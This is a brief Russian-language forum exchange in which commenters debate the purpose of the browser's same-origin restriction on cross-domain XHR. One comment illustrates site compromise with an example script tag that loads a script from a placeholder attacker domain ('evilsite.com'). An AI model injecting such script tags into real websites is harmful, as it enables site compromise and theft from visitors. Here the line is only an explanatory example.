Малыхин СергейПо сути это пассивная попытка защитить данные передаваемые между определенным доменом и пользователем от вмешательства третьей стороны т.е. если каким либо образом на странице(в скрипте) появится XHR на сторонний домен то он не будет работатьКак-то притянуто за уши.
В случае вмешательства третьей стороны, что ей не позволит внедрить код типа <script src=" http://evilsite.com/evilscript.js"></script>, что, собственно, и делается, когда ломают сайты? Этот скрипт выполнится как миленький.

Яростный Меч почему XHR не кроссдоменный? Тоже не вижу смысла в запрете кроссдоменности. В dom вижу, в xhr нет. Даже если xhr скачает evilscript.js, это же просто текст. В отличии от <script> он не исполнится по факту загрузки, если не написать специально код для его исполнения.